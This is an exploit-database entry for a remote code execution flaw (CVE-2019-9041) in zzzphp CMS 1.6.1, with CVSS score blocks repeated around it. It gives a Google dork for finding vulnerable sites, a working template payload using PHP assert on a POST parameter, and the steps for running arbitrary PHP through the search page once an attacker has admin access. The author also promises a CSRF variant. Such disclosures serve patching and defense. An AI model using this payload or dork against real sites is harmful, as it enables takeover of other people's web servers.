7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
zzzphp CMS 1.6.1 - Remote Code Execution
# Exploit Title: dynamic code evaluation of zzzphp cms 1.6.1
# Google Dork: intext:"2015-2019 zzcms.com"
# Date: 24/02/2019
# Exploit Author: Yang Chenglong
# Vendor Homepage: http://www.zzzcms.com/index.html
# Software Link: http://115.29.55.18/zzzphp.zip
# Version: 1.6.1
# Tested on: windows/Linux,iis/apache
# CVE : CVE-2019-9041
Due to the failure of filtering function parserIfLabel() in inc/zzz_template.php, attackers can insert dynamic php code into the template file and leads to dynamic code evaluation.
Exploit:
login in to the admin panel, edit the template of search.html, insert the following code:
{if:assert($_POST[x])}phpinfo();{end if}
Visit the http://webroot/search/ and post data βx = phpinfo();β, the page will execute the php code βphpinfo()β as follow:
[1.png]
Remarks:
While the above exploit requires attackers to have the access to the admin panel, I will post another exploit by using csrf to acquire the control of website without access to the admin panel.
7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P